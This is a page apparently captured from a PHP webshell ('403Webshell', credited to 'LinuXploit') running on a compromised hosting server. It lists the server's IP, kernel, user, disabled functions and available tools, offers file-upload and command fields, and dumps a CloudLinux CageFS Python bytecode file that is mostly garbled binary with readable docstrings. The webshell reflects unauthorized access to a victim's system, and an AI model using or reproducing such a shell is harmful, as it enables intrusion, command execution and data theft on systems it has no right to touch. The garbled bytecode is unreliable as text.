403Webshell
Server IP : 46.245.81.90  /  Your IP : 216.73.216.85
Web Server : Apache
System : Linux server3ir.xdlhost.com 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
User : gmparts ( 1037)
PHP Version : 8.1.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/clcommon/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/clcommon/__pycache__/clcagefs.cpython-311.pyc
�

��Tj�3�� �ddlZddlZddlZddlZddlZdZdZdZdZ	ej
e��ZGd�de
��ZGd�d	e
��ZGd
�d��Zd�Zdd�Zdd�Zdd�Z							d d�Zd�Zd�Zd�Zd!d�Zdedefd�Zdefd�Zd�ZdS)"�Nz/etc/cagefs/cagefs.mpz/usr/sbin/cagefsctlz/usr/share/cagefs-skeletonz/var/.cagefsc��eZdZd�Zd�ZdS)�CagefsMpConflictc�2�d|�dt�d|�d�|_dS)NzConflict in adding 'z' to z5 because of pre-existing alternative specification: '�')�CAGEFS_MP_FILENAME�_msg)�self�new_item�
existing_items   ��/builddir/build/BUILDROOT/alt-python27-cllib-3.4.41-1.el8.cloudlinux.x86_64/opt/cloudlinux/venv/lib/python3.11/site-packages/clcommon/clcagefs.py�__init__zCagefsMpConflict.__init__sE��
T�8�
T�
T�2D�
T�
T�CP�
T�
T�
T�	
�	�	�	�c��|jS�N)r�r	s r�__str__zCagefsMpConflict.__str__s
���y�rN)�__name__�
__module__�__qualname__r
r�rrrrs2������
�
�
�����rrc��eZdZdZd�ZdS)�CagefsNotSupportedErrorzCagefs Not Supported Exceptionc�<�t�||��dSr)�	Exceptionr
)r	�messages  rr
z CagefsNotSupportedError.__init__%s�����4��)�)�)�)�)rN)rrr�__doc__r
rrrrr"s)������(�(�*�*�*�*�*rrc��eZdZdZdZdZd�Zd�Zd�Ze	d���Z
d�Zd	�Zd
�Z
e	d���Ze	d���Ze	d
���Zd�Zd�ZdS)�CagefsMpItemz@!%*��!c��|dd�dkr	d|_dS|���dkr	d|_dS||_dS)z�Constructor

        :param arg: Is either path to add to cagefs.mp or a raw line is read from cagefs.mp
        :param prefix: The same as adding prefix '!' to arg before passing it to ctorN��#r)�
_path_spec�strip)r	�args  rr
zCagefsMpItem.__init__.sI���r��r�7�c�>�>�"�D�O�O�O�
�Y�Y�[�[�B�
�
�"�D�O�O�O�!�D�O�O�Orc�^�|���dkr|�|j�d|d��|_|S)z%Specify mode as in fluent constructor�@N�,�03o)�prefixr$)r	�modes  rr,zCagefsMpItem.mode;s;���;�;�=�=�C���D�$4�!%��=�=�4�=�=�=�D�O��rc��|jSr�r$rs rrzCagefsMpItem.__str__Cs
����rc�8�|dkrdS|ddkr|dzS|S)Nr�/���r)�paths r�
_add_slashzCagefsMpItem._add_slashFs,���2�:�:��3���8�s�?�?��#�:���rc�d�t�|��}|���s|���rdSt�|�����}t�|�����}|�|��S�NF)r�_adopt�is_dummyr3r2�
startswith)r	�another�adopted�	this_path�test_preexist_in_paths     r�pre_exist_inzCagefsMpItem.pre_exist_inNs����%�%�g�.�.���=�=�?�?�	�g�.�.�0�0�	��5� �+�+�D�I�I�K�K�8�8�	� ,� 7� 7������ G� G���#�#�$9�:�:�:rc��t�|��}|���s|���rdS|���|���krdStjtjgi}g}|���|�|���|��vS)NFT)rr6r7r+�_PREFIX_MOUNT_RW�_PREFIX_MOUNT_RO�get)r	�existingr:�prefix_compatibility_map�null_optionss     r�is_compatible_by_prefix_withz)CagefsMpItem.is_compatible_by_prefix_withYs����%�%�h�/�/���=�=�?�?�	�g�.�.�0�0�	��5��;�;�=�=�G�N�N�,�,�,�,��4�$0�$A�L�Da�Cb�#c� ����{�{�}�}� 8� <� <�W�^�^�=M�=M�|� \� \�\�\rc��|jduSrr.rs rr7zCagefsMpItem.is_dummyhs����$�&�&rc�N�t|t��r|St|��Sr)�
isinstancer)�xs rr6zCagefsMpItem._adoptks%���a��&�&�	#��H���?�?�"rc�8�|�d��dS)zjCut off mode from path spec like @/var/run/screen,777

        Only one comma per path spec is allowed ;-)r)r)�split��	path_specs r�
_cut_off_modezCagefsMpItem._cut_off_moders�����s�#�#�A�&�&rc�@�|�tj��Sr)�lstripr�PREFIX_LISTrLs r�_cut_off_prefixzCagefsMpItem._cut_off_prefixzs������ 8�9�9�9rc�p�t�t�|j����Sr)rrRrNr$rs rr2zCagefsMpItem.path~s&���+�+�L�,F�,F�t��,W�,W�X�X�Xrc�Z�|j|���kr
|jdSdS)Nrr)r$r2rs rr+zCagefsMpItem.prefix�s)���?�d�i�i�k�k�)�)��?�1�%�%��2rN)rrrrQr?r@r
r,r�staticmethodr3r=rEr7r6rNrRr2r+rrrrr)s�������K�����"�"�"�����������\��	;�	;�	;�
]�
]�
]�'�'�'��#�#��\�#��'�'��\�'��:�:��\�:�Y�Y�Y�����rrc�J�tj�t��Sr)�osr2�exists�CAGEFSCTL_TOOLrrr�is_cagefs_presentrZ�s��
�7�>�>�.�)�)�)rrc���dD]F}||vrtd|�����|�||vrtd|�����||vrtd|������Gdgtj�RD]}||vrtd|������dS)N)�
�
z"path contains forbidden character z&added_by contains forbidden character z$prefix contains forbidden character r))�
ValueErrorrrQ)r2�added_byr+�chs    r�_reject_cagefs_mp_injectionra�s����L�L��
��:�:��H�"�H�H�I�I�I���B�(�N�N��L�b�L�L�M�M�M�
��<�<��J�B�J�J�K�K�K���.�\�-�.�.�J�J��
��:�:��H�"�H�H�I�I�I��J�Jr��c��|�d}|�d}	tj|tjtjztjz��}n]#t
$rPtj|��tj|tjtjztjz��}YnwxYw	|�tj||��tj|||��tj	|��dS#tj	|��wxYw)Nr1)
rW�open�O_RDONLY�O_DIRECTORY�
O_NOFOLLOW�FileNotFoundError�mkdir�fchmod�fchown�close)r2r,�owner_id�group_id�dir_fds     r�_mk_mount_dir_setup_permrp�s�����������M����r�{�R�^�;�b�m�K�L�L�����M�M�M�
���������r�{�R�^�;�b�m�K�L�L����M��������I�f�d�#�#�#�
�	�&�(�H�-�-�-�
������������������s�9A�AB�B�"-C%�%C;Fc�
�t��sdS|�tddg}n
td|g}|r-tj|tjtj���dStj|tjtjd���dS)Nz--wait-lockz
--remount-allz	--remount)�stdout�stderrF�rrrs�check)rZrY�
subprocess�Popen�DEVNULL�run)�user�remount_in_background�commands   r�_remount_cagefsr}�s����������|�!�=�/�B���!�;��5���
�����%��%�	
�	
�	
�	
�	
�	
�	����%��%��		
�	
�	
�	
�	
�	
rc�@��t|||��t||||��t��sdStj�t��s3tjtdgtj
tj
d���t��ttdd���5}t||z���|���d�|D��}	�fd	�|	D��}
|
sb|�d
d��|�&|���}t#d||�
��t#�|�
��|rt%|���n1��|
d��st)�|
d���ddd��dS#1swxYwYdS)u
    Add mount point to /etc/cagefs/cagefs.mp

    :param path: Directory path to be added in cagefs.mp and mounted
                 from within setup_mount_dir_cagefs().
                 If this directory does not exist, then it is created.

    :param added_by: package or component, mount dir relates to, or whatever will
                     stay in cagefs.mp with "# added by..." comment

    :param mode: If is not None: Regardless of whether directory exists or not prior this call,
                 it's permissions will be set to mode.

    :param owner_id: Regardless of whether directory exists or not prior this call,
                     it's owner id will be set to.
                     If None, the owner won't be changed.

    :param group_id: Regardless of whether directory exists or not prior this call,
                     it's group id will be set to.
                     If None, the group won't be changed.

    :param prefix: Mount point prefix. Default is mount as RW.
                   Pass '!' to add read-only mount point.
                   Refer CageFS section at http://docs.cloudlinux.com/ for more options.

    :param remount_cagefs: If True, cagefs skeleton will be automatically
                           remounted to apply changes.

    :param remount_in_background: If True, cagefs remount will be done in separate
                    background process, without waiting for completion

    :returns: None

    Propagates native EnvironmentError if no CageFS installed or something else goes wrong.

    Raises CagefsMpConflict if path is already specified in cagefs.mp, but in a way which is opposite
    to mount_as_readonly param.

    Raises ValueError if `path`, `added_by`, or `prefix` contains a character
    that would forge or inject a cagefs.mp record (newline, carriage return,
    and — for `path` — the ',' mode separator or an '@!%*' prefix character).
    Nz--create-mpFrtzr+�utf-8��encodingc3�>K�|]}|���V��dSr)�rstrip)�.0�	file_lines  r�	<genexpr>z)setup_mount_dir_cagefs.<locals>.<genexpr>s.����>�>�y�	�(�(�*�*�>�>�>�>�>�>rc�>��g|]}��|���|��Sr)r=)r�rIr
s  �r�
<listcomp>z*setup_mount_dir_cagefs.<locals>.<listcomp>s,���P�P�P�!�x�7L�7L�Q�7O�7O�P�A�P�P�Prr�z# next line is added by )�file�r{r1)rarprZrWr2rXrrvryrYrx�add_new_line_to_cagefs_mprdrr,�seekr%�printr}rEr)r2r_r,rmrnr+�remount_cagefsr{�f�trim_nl_iter�pre_exist_optionr
s           @r�setup_mount_dir_cagefsr��s���j ��h��7�7�7��T�4��8�<�<�<��������7�>�>�,�-�-�
���
�]�+��%��%��		
�	
�	
�	
�����

� �$��	9�	9�	9�C�Q����
�.�.�3�3�D�9�9��>�>�A�>�>�>��P�P�P�P�|�P�P�P���
	C�
�F�F�1�a�L�L�L��#�#�>�>�+�+���0�(��C�C�C�C��(��#�#�#�#��
M��6K�L�L�L�L���6�6�7G��7K�L�L�	C�"�8�-=�b�-A�B�B�B�'C�C�C�C�C�C�C�C�C�C�C�C����C�C�C�C�C�Cs�1CF�F�Fc��ttdd���5}|���cddd��S#1swxYwYdS)N�rrr�)rdr�	readlines)r�s r�_get_cagefs_mp_linesr�0s���	
� �#��	8�	8�	8��A��{�{�}�}���������������������s
�9�=�=c��ttdd���5}|�|��cddd��S#1swxYwYdS)N�wrr�)rdr�
writelines)�linesr�s  r�_write_cagefs_mp_linesr�5s���	
� �#��	8�	8�	8�#�A��|�|�E�"�"�#�#�#�#�#�#�#�#�#�#�#�#����#�#�#�#�#�#s
�:�>�>c��t��}|r?|ddkr5|dddkr%|dxxdz
cc<t|��dSdSdSdS)zR
    Add new line to the end of /etc/cagefs/cagefs.mp file if it is not there
    rrr1r\N)r�r�)r�s rr�r�;ss��
!�"�"�E��&��q��R���E�"�I�b�M�T�$9�$9�
�b�	�	�	�T��	�	�	��u�%�%�%�%�%�&�&���$9�$9rc�8��t��}tjdtj�dtj|���d�����fd�|D��}t
|��t
|��krdSt|��|rt|���dSdS)af
    Remove mount points matching given path from cagefs.mp file
    :param str path: Path that should be removed from file.
    :param bool remount_cagefs: Remount cagefs skeleton or not
    :param remount_in_background: If True, cagefs remount will be done in separate
           background process, without waiting for completion
    :return: Nothing
    z^[z]?z(,\d+)?$c�>��g|]}��|���|��Sr)�match)r��liner�s  �rr�z+remove_mount_dir_cagefs.<locals>.<listcomp>Rs(���L�L�L��a�g�g�d�m�m�L��L�L�LrNr�)	r��re�compilerrQ�escape�lenr�r})r2r�r{r��lines_with_excluded_pathr�s     @r�remove_mount_dir_cagefsr�Fs����
!�"�"�E�
�
�N��1�N�N�R�Y�t�_�_�N�N�N�O�O�A�L�L�L�L��L�L�L���5�z�z�S�1�2�2�2�2����3�4�4�4��E��.C�D�D�D�D�D�D�E�Err2�returnc���tdd���5}|D]4}|�d���}|d}||krddd��dS�5	ddd��n#1swxYwYd	S)
zACheck the fact that directory is mounted i.e. listed in mountinfoz/proc/self/mountinforr��)�maxsplit�NTF)rdrK)r2�mountinfo_filer��mountinfo_entry_parts�mount_points     r�_is_directory_mountedr�]s���	
�$�w�	7�	7�	7��>�"�	�	�D�$(�J�J��J�$:�$:�!�0��2�K��d�"�"����������#�	��������������������5s�*A�	A�A�Ac��tt��}|sDtj�t��r t
�dt��|S)z�Recommended way to check whether process is running inside CageFS

    Please avoid testing for /var/.cagefs existence.
    Replace with this function call when possible.
    z+%s should not exist in the real file system)r��CAGEFS_DIR_PATHrWr2�isdir�logger�warning)�
in_cagefs_s r�	in_cagefsr�jsK��'��7�7�J��W�"�'�-�-��8�8�W����D�o�V�V�V��rc�v�	tj�dd��}|�dStj�|��}|j�|��n#tttf$rYdSwxYw	|�	|��sdSn"#t$r}td��|�d}~wwxYwdS)z,
    Check that cagefs enabled for user
    �	cagefsctlz/usr/share/cagefs/cagefsctl.pyNFz;ERROR: CageFS version is unsupported. Please update CageFS.T)�	importlib�util�spec_from_file_location�module_from_spec�loader�exec_module�ImportErrorrh�OSError�is_user_enabled�AttributeErrorr)rz�_specr��es    r�_is_cagefs_enabledr�vs���	���6�6��9�
�
���=��5��N�3�3�E�:�:�	�
�� � ��+�+�+�+���*�G�4�����u�u�����l��(�(��.�.�	��5�	���l�l�l�%�&c�d�d�jk�k�����l�����4s.�"A �9A � A;�:A;�?B�
B6�!B1�1B6)r)rbNNr5)NrbNNrFF)FF)�importlib.utilr��loggingrWr�rvrrY�CAGEFS_SKELETON_PATHr��	getLoggerrr�rrrrrZrarpr}r�r�r�r�r��str�boolr�r�r�rrr�<module>r�s����������	�	�	�	�	�	�	�	�����,��&��3�� ��	��	�8�	$�	$�������y����*�*�*�*�*�i�*�*�*�\�\�\�\�\�\�\�\�~*�*�*�J�J�J�J�(����2
�
�
�
�2�	�
�
�
���]C�]C�]C�]C�@���
#�#�#�&�&�&�E�E�E�E�.
��
��
�
�
�
�	�4�	�	�	�	�����r

Youez - 2016 - github.com/yon3zu
LinuXploit